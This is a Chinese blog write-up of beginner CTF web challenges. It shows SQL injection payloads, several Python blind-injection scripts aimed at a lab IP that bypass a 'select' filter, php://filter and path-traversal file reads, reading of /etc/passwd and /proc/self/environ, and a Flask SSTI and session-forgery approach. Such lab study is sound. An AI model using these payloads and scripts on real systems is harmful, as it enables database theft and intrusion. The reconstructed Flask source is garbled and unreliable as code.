ctf从0到1

已于 2022-03-20 20:33:55 修改
阅读量1.8k 收藏 6
点赞数 1
文章标签： vim ctf
于 2022-02-28 10:10:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_50854790/article/details/123176195
版权

ctf 在线解码工具
http://www.hiencode.com/
在这里插入图片描述

网站链接：

https://www.ichunqiu.com/battalion?t=1&r=68487

解题思路参考：https://blog.csdn.net/rfrder/article/details/108930033
侵删

举足轻重的信息搜集

第一题：常见的搜集

进入环境，用dirsearch扫一下，发现存在vim备份文件，gedit备份文件和robots.txt文件。
请添加图片描述

robots.txt直接访问，发现flag1_is_her3_fun.txt，直接访问发现了flag1。
index.php~直接访问，发现flag2。
直接访问.index.php.swp，把vim备份文件下载下来，然后vim -r index.php.swp对文件进行恢复，就可以得到flag3。
请添加图片描述

然后把这三个flag拼接起来就可以了。
在这里插入图片描述

第二题 粗心的小李

进入环境，提示是git泄露，直接用githack：

在这里插入图片描述

在这里插入图片描述

CTF中的SQL注入

SQL注入-1

进入环境，发现?id=1。我们输入3的时候告诉我们可以获得tips，这里忽略它。
首先尝试?id=2-1，发现显示的是id=2时的页面，说明可能是字符型注入（因为没有运算成1，判断包裹在‘ ’内），我们输入?id=1a，发现和id=1时的页面一样，印证了是字符型注入。然后尝试?id=1' and 1=1 --+和?id=1' and 1=2 --+ ，印证了就是简单的字符型注入，然后就是正常的union注入了：

?id=1’ order by 3 – -

?id=-1’ union select 1,2,3 – -
在这里插入图片描述

?id=-1’ union select 1,database(),3 – -
在这里插入图片描述
猜表名
?id=-1’ union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=‘note’ --+
在这里插入图片描述

猜列名
?id=-1’ union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=‘fl4g’ --+
在这里插入图片描述

?id=-1’ union select 1,group_concat(fllllag),3 FROM fl4g --+
在这里插入图片描述

是最基础的union注入。

SQL注入-2

一开始应该进的是login.php。在这里插入图片描述

这是一个进行SQL注入的登录页面。我们首先可以在用户名那里试出是字符型注入，可以利用单引号闭合。f12查看一下源码，发现：
如果觉得太难了，可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
在这里插入图片描述
这题不是用闭合单引号的方式直接登录的，是要获得flag的。因此应该是通过注入来获得数据库的相关信息，而不是所谓的靠万能密码，万能用户名进行登录。换一种思路，按照爆库的方式来注入，发现存在布尔注入：

请添加图片描述
在这里插入图片描述
因此就需要写脚本进行布尔注入了。但是还会遇到一个问题，就是在爆表的时候发现布尔注入失败了。怀疑存在过滤，尝试把select进行双写，发现布尔注入可以实现，因此这题居然还有个过滤select的坑。
接下来就是直接用脚本爆库了。脚本如下。
数据库长度：

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    #key = "admin%1$' and " + "(length(database())=" + str(i) + ")#"
    key = "admin' and " + "(length(database())=" + str(i) + ")#"
    data = {'name':key, 'pass':'123'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of database is %s' %i)

数据库名字：

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(65,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr(database(),%d,1))=%d)#"%(j,i)
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

表长度

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    key = "admin' and " + "length((sselectelect table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1))=" + str(i) + "#"
    data = {'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of table is %s' %i)

表名字

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(48,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((seselectlect  table_name FROM information_schema.tables WHERE table_schema=0x6e6f7465 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

列长度：

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(30):
    key = "admin' and " + "length((seselectlect column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1))=" + str(i) + "#"
    data = {'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)

列名字：

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=4
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in range(48,123):
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((seselectlect  column_name FROM information_schema.columns WHERE table_name=0x666c3467 limit 0,1),%d,1))=%d)#"%(j,i)
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=chr(i)
            print(name)

flag长度：

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for i in range(60):
    key = "admin' and " + "length((seselectlect flag FROM fl4g limit 0,1))=" + str(i) + "#"
    data = {'name':key, 'pass':'111'}
    r = requests.post(url, data=data).text
    #print(r)
    if right in str(r):
        print('the length of column is %s' %i)

flag：

#coding:utf-8
 
import requests
import string
 
 
 
dic = string.digits + string.ascii_letters + "!@#$%^&*()_+{}-="
length=26
name=''
right = '8bef'
worry = '5728'
url = 'http://10.26.208.172/login.php'
for j in range(1,length+1):
    for i in dic:
        #key = "admin%1$' and " + "(substr(database(),0,1)=" + i + ")#"
        #key = "admin%1$' and " + "(substr(database(),"+str(j)+",1)=" + i + ")#"
        key = "admin'"+" and (ascii(substr((sselectelect flag FROM fl4g limit 0,1),%d,1))="%j+str(ord(i))+")#"
        data = {'name':key, 'pass':'111'}
        r = requests.post(url, data=data).text
        if right in str(r):
            name+=i
            print(name)

成功得到flag。

看了一下Nu1l官方的WP，是使用了?tips=1，开启了mysql错误提示，然后进行报错注入，记得双写select。

任意文件读取漏洞

afr_1

首先进入环境，发现了?p=hello，然后页面回显了hello world。猜测存在文件包含，而且get传入的参数p后面应该被加上了后缀。
尝试?p=flag，发现回显no no no，因此我们要读取的文件应该就是flag.php。
用php的filter直接读取一下，成功获得flag:

?p=php://filter/read=convert.base64-encode/resource=flag

1

后面是flag而不是flag.php是因为考虑到传入的参数会被加上后缀。

再base64解码就成功获得了flag.php的源码，其中flag在注释里。
在这里插入图片描述

afr_2

进入环境，没什么发现。f12查看源码，发现了图片的路径。本来没什么察觉，但是用dirsearch扫了一下，发现图片的那个目录是可访问的：
在这里插入图片描述

去/img看一看，发现存在目录可以访问：
在这里插入图片描述

看到这个，第一反应是猜测是不是存在目录穿越漏洞。具体的内容可以参考《从0到1：CTFer成长之路》第38面的Nginx错误配置。其实光看一遍书可能想不到这个，但是因为我以前正好做到过一个Nginx错误配置的题目，因此一看到这样的目录页面，第一反应就是目录穿越。
尝试改成/img/。
发现穿越到了上级目录：

在这里插入图片描述
下载flag文件：
在这里插入图片描述

afr_3

涉及到了flask的SSTI和linux一些文件的读取
在这里插入图片描述

进入环境后是一个输入框，输入后有一个回显，我第一反应就是SSTI，尝试{{12}}，然后返回了12，猜测可能这题就不是SSTI了，因为存在了过滤。继续探索，发现/article?name=article存在任意文件读取，读取了一下/etc/passwd成功了:
在这里插入图片描述
然后我读了一下/proc/self/cmdline (# 可能包含有用的路径信息)，返回了python server.py，说明这题应该是一个python的环境，但是我找不到这个server.py。我按照以前的经验，去读/app/server.py，提示没这个东西，因此还是找不到这个server.py，暂时放弃这个点。
在这里插入图片描述

又读了一下/proc/self/environ，返回HOSTNAME=035d9b32f7c1HOME=/rootPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/home/sssssserver，原来当前的目录是/home/sssssserver。读一下/home/sssssserver/server.py，终于读到了。。。
在这里插入图片描述
在这里插入图片描述

我把读到的内容 大致整理了一点点。。。反正勉强能看懂啥意思了。。。

#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])


def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
    'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
    page = request.args.get('name') else:
    page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
    template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

模板渲染的内容就是n1code，但是其实n1code的来源可以是session。
想到flask的session伪造
里面的第一种方法就是flask的session伪造，但是伪造需要一个密钥，密钥应该就在key.py里

/proc/[PID]/cwd     # 当前进程的工作目录

在这里插入图片描述
因此session可以伪造，就相当于这题可以直接SSTI，而且没有过滤，因此直接SSTI进行读flag.py就可以了。
解密和伪造的方法都在大师傅博客里写的很清楚了，伪造的脚本的获取也有获取的方法。

关于flask的SSTI，看这篇文件就可以大致懂了：

命令执行漏洞
死亡ping命令
真的是哪里不会就考哪里。。我反弹shell这里是很迷的，没想到命令执行还要搞。。。
总的来说，就是过滤了很多很多东西，而且无回显，要想办法反弹。
这里先抓包，利用%0a就可以执行多条命令。

未完待续。。。

明月清风~~
关注
  • 1
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
【转】CTF-All-In-One（CTF从入门到放弃）pdf
03-20
CTF-All-In-One（CTF 从入门到放弃） ——“与其相信谣言，不如一直学习。”
从0到1CTFer成长之路——1git（全网最详细）
m0_52555753的博客
11-15 1290
网络安全
[CTF从0到1学习] 一、CTF 概述
qq_43710889的博客
11-13 5764
[CTF从0到1学习] 一、CTF 概述 哈哈，在学校图书馆借到的一本比较好的讲CTF的书籍，因为有配套资料。感觉不错，准备研读一波。先做一个引言吧‘’ 首先大家能搜到这篇文章，也一定对CTF有一定了解，亦或是对网络安全感兴趣。这篇文章会分享CTF的起源，模式，所需要的基本技能的一个概述。 文章目录[CTF从0到1学习] 一、CTF 概述CTF起源CTF模式CTF必备的基础技能CTF环境搭建 CTF起源 CTF起源与1996年的DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的
CTF从零到一 SQL注入-1
shirazawah的博客
09-14 1959
看到id=1 首先要判断是字符型还是数字型注入 根据书上方法判断数字型 id=3-2 返回页面与id=1的页面不同，说明不是数字型 加入单引号判断是否为字符型 id=1%27(这里'被转译成%27) 没有任何返回，说明有错误，存在注入。 接下来使用order by 判断表的列数。 id=1' order by 3 --+ (空格为%20 --+注释后面的语句) 显示正常 id=1' order by 4 --+ 说明一共有三列 接着我们使用un...
[CTF从0到1学习] 二、CTF WEB安全
qq_43710889的博客
11-25 5651
[CTF从0到1学习] 二、CTF WEB安全 文章目录[CTF从0到1学习] 二、CTF WEB安全信息收集2-1-Where is flag2-2-Where is logo2.3粗心的小明2.4Discuz 3.2HTTP2.5 Careful2-6-你不是阿凡达2.7特殊浏览器2.8 猜猜我是谁 Web安全的实验环境 PHP环境 java环境 python环境 不在赘述，环境自己配 下来直接整题，以下的题目有些为本地搭建，有些为在线CTF靶场的题目 信息收集 2-1-Where is flag
CTF真题-Dest0g3CTF2022招新赛
06-01
CTF真题-Dest0g3CTF2022招新赛，来自BUUCTF。
CTF Converter 编码转换
12-08
4. Hexadecimal（十六进制）编码：用16个符号（0-9，A-F）来表示二进制数据，每两个字符代表一个字节。 5. ROT13和Caesar Cipher：这两种是简单的替换密码，ROT13是对原始字符进行13位的字母表平移，而Caesar Cipher...
zer0pts-CTF-2021:zer0pts CTF 2021
05-06
zer0pts CTF 2021 是一个网络安全竞赛，主要针对网络安全爱好者和专业人士，旨在提升参赛者在信息安全领域的技能和知识。此类竞赛通常包括多种挑战，如逆向工程、密码学、网络取证、Web安全等。在这个特定的案例中，...
0CTF2015Final0cms:0CTF 2015 最终网页问题
06-09
0CTF2015Final_0cms 该程序用于名为 0cms 的 0CTF 2015 Final。 仅将其用于代码审计实践，避免被其他人访问。安装 sudo pip install rsasudo pip install web.py用法如果您使用的是 ubuntu，只需运行： sh restart....
v0lt：安全CTF工具包（不再维护）
02-05
v0lt试图重新组合我在安全CTF（Python风格）中使用/使用/将要使用的所有工具。 使用bash脚本解决了许多练习，但是Python可能更灵活，这就是原因。 与Gallopsled无关。 这是一个玩具工具箱，仅包含小型但特定的工具...
CTF隐写详细总结，自带ctf工具集
11-30
CTF隐写详细总结，自带ctf工具集。 0、图片隐写 1、音频隐写 波形隐写 频谱隐写 LSB隐写 2、视频隐写 3、Base64隐写 4、Python代码隐写 5、Pdf隐写 6、Office文档隐写 7、Ntfs数据流隐写
ook离线解码工具，ctf
11-13
1. **数据捕获**：用户可以将接收到的无线电波或模拟信号记录下来，保存为文件，供后续分析。 2. **信号解析**：工具能识别并分离出OOK信号，即使在噪声或其他信号的干扰下也能尝试恢复原始数据。 3. **频率分析**：...
CTF-misc中的F5刷新可以使用到的工具
11-03
F5触发的HTTP请求的请求头中通常包含了If-Modified-Since 或 If-None-Match字段,或者两者兼有。CTRL+F5触发的HTTP请求的请求头中没有上面的那两个头 所以说你非常需要此工具！！！！！
CTF show萌新题系列
12-22
题目地址：https://ctf.show 0X01 萌新_密码1 1.16进制转字符串 有很多网站可以实现，这里我也附上我的脚本： # author: 羽 def hex_to_str(): while True: ... for i in range(0,len(s),2): j = s[i]+s[i+1]
CTF爆破CRC32.zip
02-05
在网络安全领域，CTF（Capture The Flag）是一种流行的竞赛形式，它涉及到各种技术挑战，包括密码学、逆向工程、网络嗅探等。本话题聚焦于CRC32爆破，这是CTF赛事中常见的一个技术环节。CRC32，全称Cyclic ...
CTF入门教程（非常详细）从零基础入门到竞赛，看这一篇就够了！
m0_59162248的博客
11-13 3714
CTF（Capture The Flag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今，已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯”。MISC（安全杂项）
【网络安全】CTF入门教程（非常详细）从零基础入门到进阶，看这一篇就够了！
程序员若风的博客
12-11 3336
CTF（Capture The Flag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今，已经成为全球范围网络安全圈流行的竞赛形式，2013年全球举办了超过五十场国际性CTF赛事。而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯” 。
《从0到1：CTFer成长之路》
WEB渗透测试 从入门到萌新
04-12 1481
一、判断注入类型 二、猜解列名数量（字段数） ?id=1' order by 1%23 发现4，页面不正常，所以字段数为1，2，3 三、查看报错位(报错位：2和3) ?id=123' union select 1,2,3 %23 四、信息收集 1、数据库名称：database() 得到数据库名称:note 2、表的信息 ?id=123' union select 1,database(),group_concat(table_name) from information.
《从0到1：CTFer成长之路》1.3 任意文件读取漏洞
ZhShy
01-12 4804
文章目录1.3.1 文件读取漏洞常见触发点1.3.1.1 web语言1. PHP2.python3.Java4.Ruby5.Node1.3.1.2 中间件、服务件相关1.Nginx错误配置2.数据库3．软链接4．FFmpeg5．Docker-API1.3.1.3 客户端相关1．浏览器/Flash XSS2．MarkDown语法解析器XSS1.3.2 文件读取漏洞常见读取路径1.3.2.1 Linux1.flag名称（相对路径）2．服务器信息（绝对路径）1.3.2.2 Windows 1.3.1 文件读取漏洞
ctf从0到1电子书
最新发布
12-14
《CTF从0到1》是一本针对CTF（Capture The Flag）竞赛的电子书，旨在帮助初学者快速入门和提高他们的技能。该书包括了CTF竞赛的基础知识、技巧和策略，并提供了详细的实例和实战练习，帮助读者从零开始逐步建立起...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明月清风~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值